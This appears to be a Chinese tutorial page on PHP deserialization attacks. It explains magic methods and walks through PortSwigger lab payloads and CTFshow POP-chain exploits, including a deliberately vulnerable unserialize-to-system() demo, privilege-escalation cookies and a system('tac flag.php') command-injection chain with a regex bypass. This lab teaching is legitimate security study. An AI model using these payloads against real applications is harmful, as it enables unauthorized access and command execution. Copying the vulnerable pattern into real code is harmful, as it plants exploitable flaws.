知识点:
1.WEB攻防-PHP反序列化-序列化和反序列化
2.WEB攻防-PHP反序列化-常见魔术方法触发规则
3.WEB攻防-PHP反序列化-反序列化漏洞产生原因
4.WEB攻防-PHP反序列化-黑白盒&POP链构造

一、演示案例-WEB攻防-PHP反序列化-序列化和反序列化

什么是反序列化操作?

  • 数据类型转换、主要用于数据传输。
    在这里插入图片描述

  • PHP & JavaEE & .NET & Python
    在这里插入图片描述
    在这里插入图片描述

  • 序列化:将对象转换为数组或字符串等格式

  • 反序列化:将数组或字符串等格式转换成对象

  • serialize() //将对象转换成一个字符串,序列化操作

  • unserialize() //将字符串还原成一个对象,反序列化操作

在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-PHP反序列化-常见魔术方法触发规则

  • 对象逻辑
    在这里插入图片描述

__construct(): //当对象new的时候会自动调用

在这里插入图片描述

__destruct()://当对象被销毁时会被自动调用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

__sleep(): //serialize()执行时被自动调用

在这里插入图片描述
在这里插入图片描述

__wakeup(): //unserialize()时会被自动调用

在这里插入图片描述

__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用

在这里插入图片描述
在这里插入图片描述

__toString(): //把类当作字符串使用时触发

在这里插入图片描述
在这里插入图片描述

__call(): //调用某个方法;若不存在,则会去调用__call函数

在这里插入图片描述
在这里插入图片描述

__get(): //读取对象属性时,若不存在,则会调用__get函数

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

__set(): //设置对象的属性时,若不存在,则调用__set函数

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

__isset(): //在不可访问的属性上调用isset()或empty()触发

在这里插入图片描述
在这里插入图片描述

__unset(): //在不可访问的属性上使用unset()时触发

在这里插入图片描述
在这里插入图片描述

__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类__debugInfo(),打印所需调试信息
__callStatic(): //在静态上下文中调用不可访问的方法时触发

三、演示案例-WEB攻防-PHP反序列化-反序列化漏洞产生

为什么会出现安全漏洞?

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

DEMO<?php
class B{
public $cmd='';
public function __destruct(){system($this->cmd);}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

漏洞产生条件

可控变量、反序列函数、引用对象下的魔术方法、魔术方法里的危险函数(例如system等就会造成命令执行漏洞)

四、演示案例-WEB攻防-PHP反序列化-黑白盒&POP链构造

反序列化漏洞如何利用?- POP链构造

POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
-反序列化常见起点
-反序列化常见跳板
-反序列化常见终点
-POP链核心就是代码有用的留下,没用的删掉

在这里插入图片描述

黑盒-portswigger-数据序列化

真实情况下,黑盒很难挖到反序列化(基本都是看代码来挖)
靶场地址:https://portswigger.net/web-security/all-labs#insecure-deserialization

DEMO1-反序列化越权

在这里插入图片描述
在这里插入图片描述

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

在这里插入图片描述
在这里插入图片描述

DEMO2-反序列化越权

在这里插入图片描述

在这里插入图片描述

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

在这里插入图片描述
在这里插入图片描述

DEMO3-反序列化导致任意文件删除漏洞

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"elrtoxj3rcx3n1ip4u723mk839qht90h";s:11:"avatar_link";s:19:"users/wiener/avatar";}

白盒-CTFSHOW-训练POP链构造(POP链核心就是代码有用的留下,没用的删掉)

254-对象引用执行逻辑

在这里插入图片描述

payload:
username=xxxxxx&password=xxxxxx

255-反序列化变量修改

在这里插入图片描述

POP链CODE:
1、不修改代码的用户密码
<?php
class ctfShowUser{public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

在这里插入图片描述

payload:
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在这里插入图片描述

POP链CODE:
2、修改代码的用户密码
<?php
class ctfShowUser{public $username='test';public $password='test123';public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

在这里插入图片描述

payload:
Get:username=test&password=test123
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A7%3A%22test123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在这里插入图片描述

256-反序列化参数修改

在这里插入图片描述

POP链CODE:
<?php
class ctfShowUser{public $username='test';public $password='test1';public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

在这里插入图片描述

payload:
GET:username=test&password=test1
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22test1%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在这里插入图片描述

257-反序列化参数修改&对象调用逻辑

在这里插入图片描述

POP链CODE:
<?php
class ctfShowUser{public $class = 'backDoor';
public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code='system("tac flag.php");';}
echo urlencode(serialize(new ctfShowUser));
?>

在这里插入图片描述

payload:
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

在这里插入图片描述

258-反序列化参数修改&对象调用逻辑&正则

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

POP链CODE:
<?php
class ctfShowUser{public $class = 'backDoor';public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code="system('tac flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>

在这里插入图片描述

payload:
GET:username=123&password=123
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/88756.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/88756.shtml
英文地址,请注明出处:http://en.pswp.cn/web/88756.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C# VB.NET多进程-管道通信,命名管道(Named Pipes)

要向已运行的进程发送特定命令&#xff08;如/exit&#xff09;&#xff0c;而不是启动新进程&#xff0c;需要使用进程间通信&#xff08;IPC&#xff09;机制。以下是几种常见的实现方法&#xff1a;一、使用命名管道&#xff08;Named Pipes&#xff09;如果ABC.EXE支持通过…

C++ 右值引用 (Rvalue References)

右值引用是C11引入的革命性特性&#xff0c;它彻底改变了C中资源管理和参数传递的方式。下面我将从多个维度深入讲解右值引用。一、核心概念1. 值类别(Value Categories)lvalue (左值): 有标识符、可取地址的表达式int x 10; // x是左值 int* p &x; // 可以取地址rvalue…

反激变换器设计全流程(一)——电路拓扑及工作流程

一、电路拓扑原理 拓扑结构概述 开关反激电源采用反激式拓扑结构&#xff0c;主要由开关管&#xff08;通常为 MOSFET&#xff09;、变压器、输出整流二极管、输出滤波电容以及控制电路等组成。其基本工作原理是通过开关管的周期性开关动作&#xff0c;将输入直流电压转换为高…

uniapp语音播报天气预报微信小程序

1.产品展示2.页面功能(1)点击上方按钮实现语音播报4天天气情况。3.uniapp代码<template><view class"container"><view class"header"><text class"place">地址:{{city}}</text><text class"time"&g…

Pycharm 报错 Environment location directory is not empty 如何解决

好长时间不看不写代码了&#xff0c;人也跟着犯糊涂。今天在Pycharm 导入虚拟环境时&#xff0c;一直报错&#xff1a;“Environment location directory is not empty”&#xff0c;在网上百度很多很多方法都无法解决&#xff0c;直到我翻出我之前自己写的导入虚拟环境的详细过…

React强大且灵活hooks库——ahooks入门实践之场景类(scene)hook详解

什么是 ahooks&#xff1f; ahooks 是一个 React Hooks 库&#xff0c;提供了大量实用的自定义 hooks&#xff0c;帮助开发者更高效地构建 React 应用。其中场景类 hooks 是 ahooks 的一个重要分类&#xff0c;专门针对特定业务场景提供解决方案。 安装 ahooks npm install …

大模型之Langchain篇(二)——RAG

写在前面 跟着楼兰老师学习【LangChain教程】2025吃透LangChain框架快速上手与深度实战&#xff0c;全程干货无废话&#xff0c;三天学完&#xff0c;让你少走百分之99弯路&#xff01;_哔哩哔哩_bilibili 计算相似度 一般用的余弦相似度&#xff0c;这里只是演示计算。 fr…

深入理解图像二值化:从静态图像到视频流实时处理

一、引言&#xff1a;图像分析&#xff0c;从“黑与白”开始在计算机视觉任务中&#xff0c;**图像二值化&#xff08;Image Binarization&#xff09;**是最基础也是最关键的图像预处理技术之一。它通过将灰度图像中每个像素转换为两个离散值&#xff08;通常是0和255&#xf…

云蝠智能 VoiceAgent重构企业呼入场景服务范式

在数字化转型浪潮中&#xff0c;企业呼入场景面临客户服务需求激增与人力成本攀升的双重挑战。传统呼叫中心日均处理仅 300-500 通电话&#xff0c;人力成本占比超 60%&#xff0c;且服务质量受情绪波动影响显著。云蝠智能推出的 VoiceAgent 语音智能体&#xff0c;通过全栈自研…

java进阶(一)+学习笔记

1.JAVA设计模式1.1 什么是设计模式设计模式是软件开发过程中前辈们在长期实践中针对重复出现的问题总结出来的最佳解决方案。这些模式不是具体的代码实现&#xff0c;而是经过验证的、可重用的设计思想&#xff0c;能够帮助开发者更高效地解决特定类型的问题。设计模式的重要性…

Pandas-数据清洗与处理

Pandas-数据清洗与处理一、数据清洗的核心目标二、缺失值处理1. 缺失值检测2. 缺失值处理策略&#xff08;1&#xff09;删除法&#xff08;2&#xff09;填充法三、异常值识别与处理1. 异常值检测方法&#xff08;1&#xff09;统计法&#xff08;2&#xff09;业务规则法2. 异…

在 MacOS 上安装和配置 Kafka

消息代理是一种软件&#xff0c;充当在不同应用程序之间发送消息的中介。它的功能类似于服务器&#xff0c;从一个应用程序&#xff08;称为生产者&#xff09;接收消息&#xff0c;并将其路由到一个或多个其他应用程序&#xff08;称为消费者&#xff09;。消息代理的主要目的…

基于Leaflet调用天地图在线API的多层级地名检索实战

目录 前言 一、天地图在线检索 1、在线检索功能 2、再谈后后接口 二、Leaflet多层级实现实例 1、层级调用实现原理 2、Leaflet中多层级调用 3、成果展示 三、总结 前言 “地图是世界的索引&#xff0c;而地名则是索引中的索引。”当互联网地图进入 Web 2.0 时代&#x…

基于Prompt结构的语校解析:3H日本语学校信息建模实录(4/500)

基于Prompt结构的语校解析&#xff1a;3H日本语学校信息建模实录&#xff08;4/500&#xff09; 系列延续&#xff1a;500所日本语言学校结构数据工程 关键词&#xff1a;招生结构、JLPTEJU、国籍比例、认定校、Prompt训练集 一、我们在构建什么样的语言学校语料&#xff1f; …

Leaflet面试题及答案(61-80)

查看本专栏目录 文章目录 🟢 面试问题及答案(61-80)61. 如何在地图上显示一个动态更新的图层?62. 如何实现地图上的热力图(Heatmap)?63. 如何自定义地图控件的位置?64. 如何处理地图加载失败的情况?65. 如何实现地图的离线功能?66. 如何将地图导出为图片?67. 如何实…

MIG_IP核的时钟系统

MIG_IP核的时钟系统时钟的种类和配置时钟的种类和配置 整体框图 DDR_PHY_CLK&#xff1a;DDR3的工作频率&#xff0c;用来得到想要的线速率。假设此时钟为800M&#xff0c;那么DDR双沿采样&#xff0c;线速率为1600Mbit&#xff1b; UI_CLK&#xff1a;DDR_PHY_CLK的四分之一…

若依框架集成阿里云OSS实现文件上传优化

背景介绍 在若依框架目前的实现中&#xff0c;是把图片存储到了服务器本地的目录&#xff0c;通过服务进行访问&#xff0c;这样做存储的是比较省事&#xff0c;但是缺点也有很多&#xff1a; 硬件与网络要求&#xff1a;服务器通常需要高性能的硬件和稳定的网络环境&#xff0…

Mac如何连接惠普M126a打印机(教程篇)

这里写自定义目录标题Mac如何连接惠普M126a打印机&#xff08;教程篇&#xff09;教程配置如下&#xff1a;Mac如何连接惠普M126a打印机&#xff08;教程篇&#xff09; 惠普M126a连接Mac&#xff08;教程篇&#xff09; 教程配置如下&#xff1a; 首先&#xff0c;先获取与HP打…

感恩日记:记录生活中的美好时刻

感恩日记的landing page登录注册填写感恩事项私信可以体验一下

一扇门铃,万向感应——用 eventfd 实现零延迟通信

&#x1f50d; 本篇概要 eventfd 是 Linux 提供的一种轻量级事件通知机制。你可以把它想象成一个“计数器盒子”。它里面维护的是一个64位的计数器。写入&#xff1a;往盒子里放一些数字&#xff08;比如 1、5、10&#xff09;&#xff0c;表示有几件事发生了。读取&#xff1a…